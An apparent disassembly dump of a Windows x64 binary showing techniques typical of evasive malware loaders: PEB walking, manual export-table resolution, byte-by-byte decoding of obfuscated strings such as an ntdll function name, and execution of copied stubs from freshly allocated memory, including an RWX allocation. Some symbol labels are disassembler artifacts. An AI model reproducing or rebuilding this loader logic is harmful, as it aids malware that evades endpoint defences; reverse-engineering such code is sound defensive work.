mov dword [rsp + 0x70], edi
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rsp + 0x68], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x140023d7d
lea r15d, [rax + 1]
mov r10d, r15d
mov r13, qword [rbp - 0x78]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r15d
add rdx, r15
cmp rdx, r8
jl 0x140023d4c
mov r15d, reloc.WS2_32.dll_recv
lea r13d, [r15 + 7]
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rbp - 0x78], r10
je 0x140023dd9
mov rax, rcx
lea r9, [rbp + 0x151]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140023dd2
add rax, r11
test edx, edx
jne 0x140023dbd
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
test dil, dil
jne 0x140024594
mov rax, qword [rbp - 0x38]
mov rax, qword [rax]
mov qword [rbp - 0x38], rax
xor edi, edi
cmp rax, qword [rsp + 0x78]
jne 0x140023d07
mov eax, edi
mov ecx, 1
cmp dword [rbp - 0x60], edi
jl 0x140035b20
test eax, eax
js 0x140035b20
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x50]
mov rcx, qword [rbp + 0xd70]
mov qword [rbp - 0x50], rcx
mov qword [rbp + 0xdd0], rdi
mov qword [rbp + 0xfa8], rax
mov byte [rbp + 0x760], reloc.WLDAP32.dll_Ordinal_22
mov r9, r13
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x761], al
mov r9, r13
mov r14d, 1
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x762], al
mov r9, r13
lea r8d, [r14 + 1]
mov dl, 0x41
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x763], al
mov r9, r13
lea r8d, [r14 + 2]
mov dl, 0x6c
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x764], al
mov r9, r13
lea r8d, [r14 + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x765], al
mov r9, r13
lea r8d, [r14 + 4]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x766], al
mov r9, r13
lea r8d, [r14 + 5]
mov dl, 0x63
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x767], al
mov r9, r13
lea r8d, [r14 + 6]
mov dl, 0x61
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x768], al
mov r9, r13
lea r8d, [r14 + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x769], al
mov r9, r13
lea r8d, [r14 + 8]
mov dl, 0x65
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x76a], al
mov r9, r13
lea r8d, [r14 + 9]
mov dl, 0x56
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x76b], al
mov r9, r13
lea r8d, [r14 + 0xa]
mov dl, 0x69
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x76c], al
mov r9, r13
lea r8d, [r14 + 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x76d], al
mov r9, r13
lea r8d, [r14 + 0xc]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x76e], al
mov r9, r13
lea r8d, [r14 + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x76f], al
mov r9, r13
lea r8d, [r14 + 0xe]
mov dl, 0x61
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x770], al
mov r9, r13
mov r8, r15
mov dl, 0x6c
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x771], al
mov r9, r13
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x772], al
mov r9, r13
lea r8d, [r14 + 0x11]
mov dl, 0x65
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x773], al
mov r9, r13
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x774], al
mov r9, r13
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x775], al
mov r9, r13
lea r8d, [r14 + 0x14]
mov dl, WSAStartup
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x776], al
mov r9, r13
lea r8d, [r14 + 0x15]
mov dl, 0x79
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + 0x777], al
xor eax, eax
mov byte [rbp + 0x778], al
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi + 0x761]
lea rcx, [rbp + 0x760]
call fcn.1400379ec
mov byte [rbp + rdi + 0x761], al
add rdi, r14
cmp rdi, r13
jb 0x1400240b3
xor edi, edi
mov byte [rbp + 0x778], dil
lea r14d, [rdi + 0x20]
mov byte [rbp + 0x110], r14b
lea ebx, [rdi + 9]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x110]
call fcn.140037108
mov byte [rbp + 0x111], al
mov r9d, ebx
lea ebx, [rdi + 1]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x110]
call fcn.140037108
mov byte [rbp + 0x112], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x110]
call fcn.140037108
mov byte [rbp + 0x113], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x110]
call fcn.140037108
mov byte [rbp + 0x114], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x110]
call fcn.140037108
mov byte [rbp + 0x115], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x110]
call fcn.140037108
mov byte [rbp + 0x116], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x110]
call fcn.140037108
mov byte [rbp + 0x117], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x110]
call fcn.140037108
mov byte [rbp + 0x118], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x110]
call fcn.140037108
mov byte [rbp + 0x119], al
xor eax, eax
mov byte [rbp + 0x11a], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x111]
lea rcx, [rbp + 0x110]
call fcn.140037108
mov byte [rbp + rdi + 0x111], al
add rdi, rbx
cmp rdi, 9
jb 0x1400241f5
xor eax, eax
mov byte [rbp + 0x11a], al
mov rax, qword gs:[0x60]
test rax, rax
mov ebx, reloc.WS2_32.dll_recvfrom
je 0x140024a4c
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x38], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x78], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x70], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rsp + 0x68], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x1400242c6
lea r15d, [rax + 1]
mov r10d, r15d
mov rsi, qword [rbp - 0x78]
mov ecx, r10d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r10d, r15d
add rdx, r15
cmp rdx, r8
jl 0x14002429a
mov esi, reloc.WS2_32.dll_sendto
lea r15d, [rsi - 4]
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rbp - 0x78], r10
je 0x140024322
mov rax, rcx
lea r9, [rbp + 0x111]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002431b
add rax, r11
test edx, edx
jne 0x140024306
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
test dil, dil
jne 0x1400247ed
mov rax, qword [rbp - 0x38]
mov rax, qword [rax]
mov qword [rbp - 0x38], rax
cmp rax, qword [rsp + 0x78]
jne 0x140024251
jmp 0x140024a4c
mov rcx, qword [rbp - 0x38]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140023898
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140023898
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140023898
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140023898
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x140023898
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x691]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400243dd
inc rax
test edi, edi
jne 0x1400243c8
xor r9d, r9d
test r8d, r8d
je 0x1400243f4
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x1400243b7
jmp 0x140023898
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140023898
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140023898
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x38], rax
call fcn.140095f90
or dword [rbp + 0xd454], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xc0d0]
call fcn.14003804c
lea rcx, [rbp + 0xc0d0]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x68], r8
xor eax, eax
mov edi, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0xc0d0]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x46550], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x14002449a
mov ebx, 0x1000
mov r8d, ebx
lea rdx, [rbp + 0x46550]
mov rdi, qword [rbp - 0x38]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rsp + 0x68]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xf00], eax
lea r9, [rbp + 0xf00]
mov r8d, r14d
mov edx, ebx
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 0x18]
lea r8, [rbp + 0xfc8]
mov rdx, qword [rbp - 0x58]
mov rcx, qword [rbp + 0xeb0]
call rdi
mov dword [rbp - 0x60], eax
lea r9, [rbp + 0xf00]
mov r8d, dword [rbp + 0xf00]
mov edx, ebx
mov rdi, qword [rbp - 0x38]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, ebx
xor edx, edx
mov rcx, rdi
call fcn.1400bdea0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400f1364], eax
lea ebx, [rax + 0x11]
jmp 0x14002389c
mov rcx, qword [rbp - 0x38]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x140023dff
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140023dff
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140023dff
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140023dff
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x140023dff
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x631]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140024627
inc rax
test edi, edi
jne 0x140024612
xor edi, edi
test r8d, r8d
je 0x14002463d
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x140024601
jmp 0x140023dff
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140023dff
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x1400247e6
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x38], rax
call fcn.140095f90
or dword [rbp + 0xe7e4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xd460]
call fcn.14003804c
lea rcx, [rbp + 0xd460]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x68], r8
xor eax, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0xd460]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x29550], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x1400246e1
mov ebx, 0x1000
mov r8d, ebx
lea rdx, [rbp + 0x29550]
mov rdi, qword [rbp - 0x38]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rsp + 0x68]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xefc], eax
lea r9, [rbp + 0xefc]
mov r8d, r14d
mov edx, ebx
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdx, qword [rbp - 0x58]
add rdx, 0x18
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9d, 0x105
lea r8, [rbp + 0x28330]
mov rcx, qword [rbp + 0xeb0]
call rdi
mov dword [rsp + 0x60], eax
lea r9, [rbp + 0xefc]
mov r8d, dword [rbp + 0xefc]
mov edx, ebx
mov rdi, qword [rbp - 0x38]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, ebx
xor edx, edx
mov rcx, rdi
call fcn.1400bdea0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
mov dword [0x1400f1364], edi
lea ebx, [rdi + 0x11]
mov eax, dword [rsp + 0x60]
jmp 0x140023e01
mov eax, edi
jmp 0x140023e06
mov rcx, qword [rbp - 0x38]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140024a4c
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140024a4c
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140024a4c
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140024a4c
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edx, edx
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x140024a4c
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x761]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002487e
inc rax
test edi, edi
jne 0x140024869
test r8d, r8d
je 0x140024892
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x140024858
jmp 0x140024a4c
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140024a4c
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140024a4c
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xeb0], rax
call fcn.140095f90
or dword [rbp + 0xfb74], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xe7f0]
call fcn.14003804c
lea rcx, [rbp + 0xe7f0]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x68], r8
xor eax, eax
mov edi, eax
lea esi, [rax + 1]
lea rcx, [rbp + 0xe7f0]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x2a550], rax
add rdi, rsi
cmp rdi, 0x200
jl 0x14002493b
mov esi, 0x1000
mov r8d, esi
lea rdx, [rbp + 0x2a550]
mov rdi, qword [rbp + 0xeb0]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rsp + 0x68]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xef8], eax
lea r9, [rbp + 0xef8]
mov r8d, r14d
mov edx, esi
mov rcx, qword [rbp + 0xeb0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0xfa8]
mov r8d, 3
lea rdx, [rbp + 0xdd0]
mov rcx, qword [rbp - 0x50]
call rdi
mov edi, eax
lea r9, [rbp + 0xef8]
mov r8d, dword [rbp + 0xef8]
mov edx, esi
mov rcx, qword [rbp + 0xeb0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, qword [rbp + 0xeb0]
call fcn.1400bdea0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, qword [rbp + 0xeb0]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400f1364], eax
test edi, edi
lea esi, [rax + 0x14]
js 0x140024a63
mov rax, qword [rbp + 0xdd0]
mov qword [rbp + 0xeb0], rax
test rax, rax
jne 0x140024f82
mov word [rbp + 0x818], 0x2477
mov byte [rbp + 0x81a], gethostname
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x818]
call fcn.1400371f8
mov byte [rbp + 0x81b], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x818]
call fcn.1400371f8
mov byte [rbp + 0x81c], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x818]
call fcn.1400371f8
mov byte [rbp + 0x81d], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x818]
call fcn.1400371f8
mov byte [rbp + 0x81e], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x818]
call fcn.1400371f8
mov byte [rbp + 0x81f], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x818]
call fcn.1400371f8
mov byte [rbp + 0x820], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x818]
call fcn.1400371f8
mov byte [rbp + 0x821], al
mov r9, rbx
mov r8d, 9
mov dl, r14b
lea rcx, [rbp + 0x818]
call fcn.1400371f8
mov byte [rbp + 0x822], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x818]
call fcn.1400371f8
mov byte [rbp + 0x823], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x818]
call fcn.1400371f8
mov byte [rbp + 0x824], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x818]
call fcn.1400371f8
mov byte [rbp + 0x825], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x818]
call fcn.1400371f8
mov byte [rbp + 0x826], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x818]
call fcn.1400371f8
mov byte [rbp + 0x827], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x818]
call fcn.1400371f8
mov byte [rbp + 0x828], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x818]
call fcn.1400371f8
mov byte [rbp + 0x829], al
xor eax, eax
mov byte [rbp + 0x82a], al
mov r8d, eax
mov r9, rbx
lea r10d, [rax + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x818]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x818]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x819], dil
add r8, r10
add r9, rbx
cmp r9, 0x132
jb 0x140024c40
xor edi, edi
mov byte [rbp + 0x82a], dil
mov word [rbp + 0x918], 0x87a
mov byte [rbp + 0x91a], Ordinal_217
lea r13d, [rdi + 0x15]
mov r9d, r13d
lea r8d, [rdi + 2]
mov dl, 0x69
lea rcx, [rbp + 0x918]
call fcn.1400372e8
mov byte [rbp + 0x91b], al
mov r9d, r13d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x918]
call fcn.1400372e8
mov byte [rbp + 0x91c], al
mov r9d, r13d
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0x918]
call fcn.1400372e8
mov byte [rbp + 0x91d], al
mov r9d, r13d
lea r8d, [rdi + 5]
mov dl, 0x64
lea rcx, [rbp + 0x918]
call fcn.1400372e8
mov byte [rbp + 0x91e], al
mov r9d, r13d
lea r8d, [rdi + 6]
mov dl, r14b
lea rcx, [rbp + 0x918]
call fcn.1400372e8
mov byte [rbp + 0x91f], al
mov r9d, r13d
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x918]
call fcn.1400372e8
mov byte [rbp + 0x920], al
mov r9d, r13d
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x918]
call fcn.1400372e8
mov byte [rbp + 0x921], al
mov r9d, r13d
lea r8d, [rdi + 9]
mov dl, r14b
lea rcx, [rbp + 0x918]
call fcn.1400372e8
mov byte [rbp + 0x922], al
mov r9d, r13d
lea r8d, [rdi + 0xa]
mov dl, 0x53
lea rcx, [rbp + 0x918]
call fcn.1400372e8
mov byte [rbp + 0x923], al
mov r9d, r13d
lea r8d, [rdi + 0xb]
mov dl, 0x65
lea rcx, [rbp + 0x918]
call fcn.1400372e8
mov byte [rbp + 0x924], al
mov r9d, r13d
lea r8d, [rdi + 0xc]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x918]
call fcn.1400372e8
mov byte [rbp + 0x925], al
mov r9d, r13d
lea r8d, [rdi + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x918]
call fcn.1400372e8
mov byte [rbp + 0x926], al
mov r9d, r13d
lea r8d, [rdi + 0xe]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x918]
call fcn.1400372e8
mov byte [rbp + 0x927], al
mov r9d, r13d
lea r8d, [rdi + 0xf]
mov dl, r14b
lea rcx, [rbp + 0x918]
call fcn.1400372e8
mov byte [rbp + 0x928], al
mov r9d, r13d
mov r8, r15
mov dl, 0x49
lea rcx, [rbp + 0x918]
call fcn.1400372e8
mov byte [rbp + 0x929], al
mov r9d, r13d
mov r8, rbx
mov dl, 0x6d
lea rcx, [rbp + 0x918]
call fcn.1400372e8
mov byte [rbp + 0x92a], al
mov r9d, r13d
lea r8d, [rdi + 0x12]
mov dl, 0x61
lea rcx, [rbp + 0x918]
call fcn.1400372e8
mov byte [rbp + 0x92b], al
mov r9d, r13d
mov r8, r12
mov dl, 0x67
lea rcx, [rbp + 0x918]
call fcn.1400372e8
mov byte [rbp + 0x92c], al
mov r9d, r13d
mov r8, rsi
mov dl, 0x65
lea rcx, [rbp + 0x918]
call fcn.1400372e8
mov byte [rbp + 0x92d], al
xor eax, eax
mov byte [rbp + 0x92e], al
mov r8d, edi
mov r9d, r13d
lea ebx, [rdi + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x918]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x15]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x918]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x919], dil
add r8, rbx
add r9, r13
cmp r9, 0x1ce
jb 0x140024ee9
xor eax, eax
mov byte [rbp + 0x92e], al
xor r9d, r9d
lea r8, [rbp + 0x819]
lea rdx, [rbp + 0x919]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009cf48
int3
mov rax, qword [rbp + 0xd70]
mov qword [rbp - 0x40], rax
mov r11, qword [rbp - 8]
mov edi, dword [r11 + 0x90]
movzx eax, word [r11 + 0x14]
lea rdx, [r11 + 0x18]
add rdx, rax
movzx eax, word [r11 + 6]
lea rcx, [rax + rax*4]
lea r8, [rdx + rcx*8]
jmp 0x140024fc9
mov ecx, dword [rdx + 0xc]
cmp rdi, rcx
jb 0x140024fc5
mov eax, dword [rdx + 8]
add eax, ecx
cmp rdi, rax
jb 0x140025035
add rdx, 0x28
cmp rdx, r8
jb 0x140024fb3
xor eax, eax
mov r10d, eax
mov qword [rbp - 0x38], r10
test edi, edi
je 0x14002f613
cmp dword [r11 + 0x94], eax
je 0x14002f613
mov r8d, dword [r10 + 0xc]
movzx edx, word [r11 + 0x14]
add rdx, 0x18
add rdx, r11
mov rdi, rdx
movzx eax, word [r11 + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
cmp rdx, r9
jae 0x14002f613
mov ecx, dword [rdi + 0xc]
cmp r8, rcx
jb 0x140025027
mov eax, dword [rdi + 8]
add eax, ecx
cmp r8, rax
jb 0x14002504a
add rdi, 0x28
cmp rdi, r9
jb 0x140025015
jmp 0x14002f613
mov r10d, dword [rdx + 0x14]
sub r10, rcx
add r10, rdi
add r10, qword [rbp + 0xc30]
